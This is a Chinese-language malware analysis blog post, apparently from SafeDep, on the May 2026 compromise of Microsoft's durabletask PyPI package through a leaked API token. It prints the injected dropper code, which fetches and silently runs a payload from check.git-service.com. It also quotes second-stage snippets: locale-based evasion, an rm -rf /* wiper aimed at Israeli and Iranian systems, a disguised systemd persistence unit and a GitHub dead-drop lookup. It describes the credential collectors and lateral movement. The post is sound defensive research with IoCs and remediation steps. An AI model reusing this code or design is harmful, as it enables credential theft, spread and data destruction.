TL;DR
三个版本的 durabletask PyPI 包(1.4.1、1.4.2、1.4.3),即 Microsoft 的 Durable Task SDK for Python,于 2026 年 5 月 19 日使用泄露的 PyPI API token 发布。GitHub 仓库未遭到入侵:不存在相应的标签或提交记录,当天也没有任何发布工作流运行。攻击者在本地构建了修改后的包,并通过 twine 直接上传,在包源文件中注入了相同的 dropper 代码。Dropper 从攻击者基础设施下载第二阶段 Python zipapp(rope.pyz)并以静默方式执行。第二阶段是一个完整的凭证窃取框架,专门针对 AWS Secrets Manager 和 SSM Parameter Store、Azure Key Vault、GCP Secret Manager、Kubernetes secrets(跨所有上下文)、HashiCorp Vault 以及本地密码管理器(1Password、Bitwarden、pass、gopass)设计了专门的收集器。该框架还会从磁盘读取超过 90 个敏感文件,使用 RSA-4096/AES-256-GCM 加密所有窃取内容后外传至 C2 服务器,并通过 AWS SSM SendCommand 和 kubectl exec 传播至其他主机。有效载荷包含地缘政治定向:跳过使用俄罗斯区域设置的系统,并包含针对以色列和伊朗系统的破坏性 rm -rf /* 恶意程序。
影响:
- 窃取 AWS、Azure、GCP 所有配置配置文件和区域中的云凭证及密钥
- 从所有可访问的上下文和命名空间转储所有 Kubernetes secrets
- 跨所有挂载点读取 HashiCorp Vault KV secrets
- 尝试解锁并转储 1Password、Bitwarden、pass 和 gopass 保险库
- 外传 90 多个敏感文件,包括 SSH 密钥、云配置、Docker 凭证、VPN 配置、MCP 配置、
.env文件、Terraform 状态文件和 shell 历史记录 - 通过 AWS SSM
SendCommand和 Kubernetes pods 的kubectl exec传播至其他 EC2 实例 - 通过 C2 交付的有效载荷部署伪装成
pgsql-monitor.service的持久性 systemd 后门 - 使用 AES-256-GCM + RSA-4096 加密方式外传所有收集的数据至
hxxps://check[.]git-service[.]com(160.119.64.3,AS49870,塞舌尔) - 当 C2 不可达时,回退使用通过窃取的
ghp_/github_pat_token 经 GitHub 外传数据 - 通过加密签名的 GitHub 提交解析备份 C2 URL(FIRESCALE 死 drops)
- 第二 C2 位于
hxxps://t[.]m-kosche[.]com(185.95.159.32,AS209101,保加利亚),用于传播有效载荷交付 - 包含针对以色列和伊朗系统的破坏性
rm -rf /*擦拭器(在匹配区域设置时有六分之一的触发概率)
入侵指标(IoC):
[email protected](SHA256 sdist:3de04fe2a76262743ed089efa7115f4508619838e77d60b9a1aab8b20d2cc8bf)[email protected](SHA256 sdist:85f54c089d78ebfb101454ec934c767065a342a43c9ee1beac8430cdd3b2086f)[email protected](SHA256 sdist:c0b094e46842260936d4b97ce63e4539b99a3eae48b736798c700217c52569dc)- 第二阶段有效载荷:
rope.pyz(SHA256:069ac1dc7f7649b76bc72a11ac700f373804bfd81dab7e561157b703999f44ce) - C2 域名:
check[.]git-service[.]com(解析至160.119.64.3,NS:dnsowl.com) - 第二 C2:
t[.]m-kosche[.]com - C2 端点:
/api/public/version(外传)、/v1/models(早期隔离/持久化)、/rope.pyz(有效载荷)、/audio.mp3(破坏性有效载荷音频) - 持久化:
pgsql-monitor.servicesystemd 服务,位于/usr/bin/pgmonitor.py或~/.local/bin/pgmonitor.py的二进制文件 - 传播标记:
~/.cache/.sys-update-check、~/.cache/.sys-update-check-k8s - GitHub 死 drops:包含
FIRESCALE关键字且带有签名 base64 URL 的提交 - GitHub 外传仓库:随机命名,使用斯拉夫民间传说词汇(例如
BABA-YAGA-KOSCHEI-742)
分析
包概述
durabletask 是 Microsoft 官方的 Durable Task SDK for Python,用于构建可靠的编排工作流。该包在 PyPI 上有悠久的发布历史,追溯过往共有 106 个开发版本和多个稳定版本。合法的 v1.4.0 于 2026 年 4 月 8 日发布。2026 年 5 月 19 日,三个新版本迅速出现:v1.4.1 于 16:19 UTC、v1.4.2 于 16:49 UTC、v1.4.3 于 16:54 UTC,35 分钟内全部发布。三个版本的 pyproject.toml 与 v1.4.0 完全相同,仅版本号不同。PyPI JSON API 未暴露任何作者或维护者元数据。
项目元数据仍指向合法的 Microsoft GitHub 仓库(microsoft/durabletask-python)。任何查看包页面的人都会看到 Microsoft 的仓库 URL,为被篡改的版本赋予了不应得的信誉。
根本原因:泄露的 PyPI API Token
GitHub 仓库没有遭到入侵的迹象。不存在任何 v1.4.1、v1.4.2 或 v1.4.3 标签。最近的标签是 v1.4.0,与上一次合法发布版本相匹配。当天没有任何 GitHub Actions 发布工作流运行。当天唯一的工作流活动是计划任务机器人(PR Verification Agent、Daily Code Review)。最后一次代码提交是在 2026 年 4 月 24 日,即恶意包出现的 25 天前。
攻击者直接使用窃取的 API token 发布到 PyPI,完全绕过了 CI/CD。
仓库的发布管道(durabletask.yml)使用 twine upload,其中存储了长期有效的 PyPI API token,位于 GitHub Secrets 中:
- name: Publish package to PyPI
env:
TWINE_USERNAME: __token__
TWINE_PASSWORD: ${{ secrets.PYPI_API_TOKEN }}
run: |
twine upload dist/*三个弱点使这个 token 成为高价值目标:
1. 缺少受信任发布者。该项目使用传统的 API token 认证,而非 PyPI 的 OIDC 受信任发布者机制。受信任发布者将发布绑定到特定的 GitHub 仓库、工作流和环境。窃取的 token 无法从该工作流外部发布。该项目没有任何此类绑定:任何持有 token 的人都可以从任何机器上传任何版本。
2. 三个工作流共享同一 token。相同的 PYPI_API_TOKEN secret 出现在 durabletask.yml(发布版)、durabletask-dev.yml(开发构建)和 durabletask-experiment.yml(实验性构建)中。一个被泄露的 secret 即授予完整的发布访问权限。
3. 实验工作流没有测试关卡。durabletask-experiment.yml 工作流对任何非 main 分支的每次推送都会运行。测试要求(needs: run-tests)已被注释掉。虽然该工作流强制使用 0.0.0.dev* 版本,但它扩大了 token 被使用的攻击面。
所有 durabletask 发布版本(无论合法还是恶意)都没有任何来源证明或认证。PyPI 对每个版本都返回 "No provenance available"。没有加密来源证明,就无法验证发布的 artifact 是否由 Microsoft 仓库中的特定提交构建。攻击者可以克隆合法源码,注入恶意文件,在本地使用 python -m build 构建,并通过 twine upload 使用窃取的 token 上传。结果在 PyPI 包页面上与合法发布无法区分。
具体 token 泄露途径尚不清楚。可能的路径包括:从有 Secrets 访问权限的被入侵 GitHub 账户外泄、在 CI 日志中暴露,或从维护者的本地环境中窃取。
有效载荷演变:累积注入
攻击者在 35 分钟内迭代了三个版本,每个版本在前一版本的基础上增加更多注入点,同时保留所有之前的注入。
v1.4.1 用 dropper 替换了 durabletask/__init__.py 中的版权头:
# durabletask/__init__.py (v1.4.1)
import os
import sys
import platform
import subprocess
import urllib.request
if platform.system() == "Linux":
try:
urllib.request.urlretrieve("https://check.git-service.com/rope.pyz", "/tmp/managed.pyz")
with open(os.devnull, 'w') as f:
subprocess.Popen(["python3", "/tmp/managed.pyz"], stdout=f, stderr=f, stdin=f, start_new_session=True)
except:
passv1.4.2 保留了 __init__.py 中的注入,并在 durabletask/task.py 末尾添加了相同的有效载荷。
v1.4.3 保留了前两个注入,并在 durabletask/entities/__init__.py、durabletask/extensions/__init__.py 和 durabletask/payload/__init__.py 中添加了三个更多的注入点。
到 v1.4.3,dropper 存在于五个文件中。任何通过该包的导入路径都会触发下载。start_new_session=True 标志使第二阶段进程脱离父进程,即使父 Python 进程退出也能继续运行。stdout、stderr 和 stdin 都重定向到 /dev/null 以实现静默执行。
第二阶段:rope.pyz
第二阶段有效载荷是一个 28 KB 的 Python zipapp,作为 application/zip 从 C2 提供。它包含一个模块化的凭证窃取框架,结构如下:
__main__.py # Entry point: anti-analysis, installs cryptography, launches entrypoint
config.py # C2 URLs, RSA public key, timeouts
entrypoint.py # Orchestrator: collect, encrypt, exfiltrate, fallback chains
aggregate.py # Parallel collector runner
roulette.py # Persistence deployer + destructive geotargeted wiper
collectors/
aws.py # AWS Secrets Manager, SSM Parameters, IMDS credentials
azure.py # Azure Key Vault, IMDS, CLI cache, cert-based auth
gcp.py # GCP Secret Manager, service account keys, ADC
kubernetes.py # K8s secrets (all namespaces), kubeconfig parsing, pod propagation
vault.py # HashiCorp Vault KV v1/v2 across all mounts
passwords.py # 1Password, Bitwarden, pass, gopass (with brute-force unlock)
filesystem.py # 90+ sensitive files, SSH keys, env vars, Docker, VPN, Terraform state
propagate.py # AWS SSM SendCommand lateral movement
utilities/
crypto.py # RSA-OAEP, AES-256-GCM, RSA signature verification
aws_signer.py # AWS SigV4 request signing (no SDK dependency)反分析与地缘政治定向
__main__.py 入口点在执行有效载荷之前运行多项检查:
if sys.platform not in ('linux'):
sys.exit(1)
lang = os.environ.get('LANG', '').split('.')[0]
if lang.lower().startswith('ru'):
sys.exit(1)
cpu_count = os.cpu_count()
if cpu_count is None or cpu_count <= 2:
sys.exit(1)有效载荷仅在 Linux 上运行,在使用俄罗斯区域设置(LANG=ru_*)的系统上退出,且需要超过 2 个 CPU(以过滤轻量级沙箱 VM)。然后安装缺失的 cryptography Python 包(对于系统 Python 安装使用 --break-system-packages)并启动入口点模块。
轮盘赌模块:破坏与持久化
roulette.py 包含破坏能力。它从 C2 的"早期隔离"端点接收 base64 编码的 Python 脚本,并要么部署持久化,要么运行擦拭器:
def _is_israeli_system():
_TZ_MARKERS = ("Jerusalem", "Tel_Aviv", "Tehran")
_LOCALE_MARKERS = ("he_IL", "fa_IR")
# Checks TZ env var, /etc/timezone, /etc/localtime, LANG, LC_ALL, LC_MESSAGES
...
def collect(python_b64):
roll = random.randint(1, 6)
if _is_israeli_system() and roll == 2:
play_at_full_volume(config.RUN_FOR_COVER, "RunForCover.mp3")
subprocess.run(["rm", "-rf", "/*"])
return
try:
deploy_local(python_b64)
except Exception:
pass在以色列或伊朗系统上(通过耶路撒冷、特拉维夫、德黑兰或 he_IL、fa_IR 区域设置检测),随机六分之一概率,载荷下载音频文件(audio.mp3),通过 pactl 将系统音量设置为 100%,通过 mpv 播放,并通过 rm -rf /* 执行。这是一种配合心理恐吓的擦拭器。剩余六分之五的概率(以及所有非目标系统)获得持久化。
持久化机制部署伪装成 PostgreSQL 监控器的 systemd 服务:
bin_path = os.path.join(bin_dir, "pgmonitor.py") # /usr/bin/ or ~/.local/bin/
svc_path = os.path.join(svc_dir, "pgsql-monitor.service") # system or user systemd
unit = f"""[Unit]
Description=PostgreSQL Monitor
After=network.target
[Service]
ExecStart={sys.executable} {bin_path}
Restart=always
[Install]
WantedBy={wanted_by}
"""凭证收集:广度与深度
所有收集器通过 concurrent.futures.ThreadPoolExecutor 并行运行。
AWS(collectors/aws.py):从环境变量、~/.aws/credentials(所有配置文件)和 EC2 IMDS 解析凭证。对于每组凭证,使用 GetSecretValue 枚举 AWS Secrets Manager 中的所有密钥,并使用 WithDecryption: True 跨 19 个区域并行工作器枚举所有 SSM Parameter Store 参数。它还发现 SSM 管理的实例以进行横向移动。该模块实现了自己的 AWS SigV4 签名(utilities/aws_signer.py)以避免 SDK 依赖。
Azure(collectors/azure.py):通过客户端凭据流、基于证书的身份验证、Azure CLI token 缓存(~/.azure/accessTokens.json)和 Azure IMDS 解析 token。枚举所有订阅,列出每个订阅的 Key Vault,并从每个保管库中转储所有密钥。
GCP(collectors/gcp.py):从服务账户 JSON 文件(GOOGLE_APPLICATION_CREDENTIALS)、应用程序默认凭据(~/.config/gcloud/application_default_credentials.json)和 GCE 元数据服务器解析凭据。通过 Secret Manager API 列出解析后项目中的所有密钥,并检索每个密钥的最新版本。
Kubernetes(collectors/kubernetes.py):解析 kubeconfig(使用自定义 YAML 解析器,无 PyYAML 依赖),遍历每个上下文,并从所有命名空间转储 secrets。支持集群内服务账户 token、客户端证书身份验证和 bearer token。如果 kubectl 不存在,收集器从 dl.k8s.io 下载。收集 secrets 后,通过 kubectl exec 将有效载荷传播至多达 5 个其他运行中的 pods。
HashiCorp Vault(collectors/vault.py):从 VAULT_TOKEN、~/.vault-token、AppRole 登录(VAULT_ROLE_ID / VAULT_SECRET_ID)和 Vault CLI 解析 token。列出所有 KV 挂载点,检测 KV v1 与 v2,遍历每个路径读取所有 secrets。
密码管理器(collectors/passwords.py):尝试通过暴力破解解锁 1Password、Bitwarden、pass 和 gopass,密码来自与环境变量匹配 *PASS*、*SECRET*、*KEY*、BW_*、OP_*、*_MASTER* 模式以及 shell 历史记录(.bash_history、.zsh_history)的密码。成功后,从每个保险库转储所有项目。
文件系统(collectors/filesystem.py):读取 90 多个文件,包括 SSH 密钥、云凭证、Docker 配置、npm/PyPI/Cargo/Gem token、kubeconfig、Terraform 状态文件、VPN 配置(Tailscale 状态、WireGuard 配置)、MCP 服务器配置(Claude Desktop、Cursor、VS Code、Zed、Codeium、Continue)以及主目录下找到的所有 .env 文件。还通过 Docker socket 或 CLI 从所有 Docker 容器提取环境变量,并通过 gh auth token 收集 GitHub token。
C2 基础设施
攻击者运营两个域名,均通过同一 nameserver 提供商(dnsowl.com)注册,并使用在恶意包发布前三天(2026 年 5 月 16 日)签发的 Let's Encrypt 证书配置。
| 域名 | IP | ASN | 反向 DNS | 证书签发 |
|---|---|---|---|---|
check[.]git-service[.]com | 160.119.64.3 | AS49870 / AS7489(SC,AFRINIC) | hosted-by.europededicated.com | 2026 年 5 月 16 日 |
t[.]m-kosche[.]com | 185.95.159.32 | AS209101(BG,RIPE) | (无) | 2026 年 5 月 16 日 |
check[.]git-service[.]com 的主要 C2 暴露四个端点:
/rope.pyz提供第二阶段有效载荷(28,703 字节,application/zip)/v1/models是"早期隔离"端点。当可达并返回 HTTP 200 时,响应体作为 base64 编码的 Python 有效载荷输入roulette.collect()用于持久化部署(或对于地理目标系统,用于破坏性擦拭器)。在分析时,此端点重定向至 YouTube。攻击者可能在初始部署后禁用了此功能/api/public/version接受包含加密外传捆绑包的 POST 请求。在 GET 时返回 400,确认它期望_build_package()生成的特定 JSON 结构/audio.mp3在目标系统上执行破坏性擦拭器前以全音量播放音频文件。在分析时也重定向至 YouTube
两个域名都将所有非有效载荷路径(包括根 /)重定向至 hxxps://www[.]youtube[.]com/watch?v=1hIT0dCwzGo,这是对随意访问者或分析人员的误导。攻击者选择 git-service.com 以在网络日志中融入合法的开发者基础设施。
辅助域名 m-kosche[.]com 中的"Koschei"是对斯拉夫民间传说中无死之王 Koschei 的引用,与 GitHub 外传仓库名称中使用的民间传说命名主题一致(BABA-YAGA、KOSCHEI、FIREBIRD、VASSILISA 等)。
C2 通信协议
入口点模块编排了三层外传策略,具有级联回退:
步骤 1:早期隔离检查。在收集任何凭证之前,有效载荷联系 /v1/models,超时 5 秒。如果可达并返回 HTTP 200,响应被输入 roulette.collect() 用于持久化/破坏。如果服务器返回 HTTP 错误(4xx/5xx),有效载荷继续而不回退。只有当连接本身失败(超时、DNS 失败、网络不可达)时才会触发 GitHub 死 drops 解析器。
步骤 2:凭证收集与主要外传。所有收集器通过 ThreadPoolExecutor 并行运行。聚合结果使用 gzip 压缩,使用随机 AES-256-GCM 密钥(256 位密钥,96 位 IV)加密,AES 密钥使用攻击者的 4096 位 RSA 公钥通过 OAEP-SHA256 包装。生成的 JSON 信封:
{
"envelope": "<base64(IV + ciphertext + GCM_tag)>",
"key": "<base64(RSA_encrypted_AES_key)>"
}有效载荷将此 POST 至 hxxps://check[.]git-service[.]com/api/public/version 的主要 C2。
步骤 3:GitHub 死 drops 回退。如果主要 C2 不可达,有效载荷搜索 GitHub 的公开提交搜索 API 查找包含 FIRESCALE 关键字的提交。提交消息格式为 FIRESCALE <base64_url>.<base64_signature>。URL 被解码,签名使用嵌入在 config.py 中的同一 RSA 公钥验证。这可以防止第三方用假的 C2 URL 中毒死 drops。只有加密签名的 URL 被信任,使解析机制防篡改。
_FIRESCALE_RE = re.compile(r'FIRESCALE\s+([A-Za-z0-9+/=]+)\.([A-Za-z0-9+/=]+)')
# Search GitHub commits, verify signature, extract URL
req = urllib.request.Request(
"https://api.github.com/search/commits?q=FIRESCALE&sort=committer-date&order=desc&per_page=30",
headers={"Accept": "application/vnd.github.cloak-preview+json", "User-Agent": "git/2.39.0"}
)步骤 4:GitHub token 外传。如果 C2 和死 drops 都失败,有效载荷在收集的凭证数据中搜索匹配 ghp_[a-zA-Z0-9]{36} 或 github_pat_[a-zA-Z0-9]{22}_[a-zA-Z0-9]{59} 的 GitHub 个人访问 token。对于找到的每个 token,它创建一个新的公开仓库,用随机斯拉夫民间传说词汇命名(例如 BABA-YAGA-KOSCHEI-742,描述:"PUSH UR T3MPRR"),并将加密数据捆绑包作为 results.json 上传。攻击者稍后可以搜索 GitHub 查找匹配这些独特命名模式的仓库以检索外传的数据。
横向移动:SSM 和 Kubernetes
传播模块(collectors/propagate.py)使用 AWS SSM SendCommand 配合 AWS-RunShellScript 在多达 5 个发现的 EC2 实例上执行 dropper 脚本。该脚本检查传播标记,从辅助 URL hxxps://t[.]m-kosche[.]com/rope.pyz 下载 rope.pyz(辅助 URL hxxps://t[.]m-kosche[.]com/rope.pyz 作为回退),执行后删除自己。Kubernetes 传播在 collectors/kubernetes.py 中通过 kubectl exec 对发现的运行中 pods 做同样的操作。
两种传播路径都使用标记文件(~/.cache/.sys-update-check、~/.cache/.sys-update-check-k8s)以避免重新感染同一主机。
结论
这是一次基于劫持 Microsoft SDK 构建的多云凭证窃取蠕虫攻击。攻击者通过三个版本迭代最大化注入面,并部署了一个第二阶段,针对云原生开发环境可能触及的每个主要密钥存储。所有主要云平台、所有配置的配置文件和区域都成为目标。冗余的三层外传(C2 服务器、GitHub 死 drops、GitHub token 上传)、SSM 和 Kubernetes 横向移动,以及地缘政治定向(排除俄罗斯区域设置、针对以色列/伊朗的擦拭器)表明这是一个资源充足且有动机的威胁行为者。
如果您安装了 durabletask 1.4.1、1.4.2 或 1.4.3,请假设凭证已完全泄露。轮换所有云凭证、Vault token、Kubernetes 服务账户 token、SSH 密钥和密码管理器主密码。审计 AWS CloudTrail、Azure Activity Log 和 GCP Audit Log 中的未授权 GetSecretValue、GetParameter 或 Secret Manager 访问。检查 systemd 中的 pgsql-monitor.service 以及任何运行过该有效载荷的系统上的传播标记。
SafeDep 的开源工具 vet 可在恶意包进入您的依赖树之前检测到此类威胁。针对恶意包安装的运行时保护,pmg 在安装时拦截包管理器命令并阻止已知威胁。
参考
-
pypi
-
oss
-
malware
-
supply-chain
SafeDep 博客最新内容
关注以获取开源安全与工程方面的最新更新和见解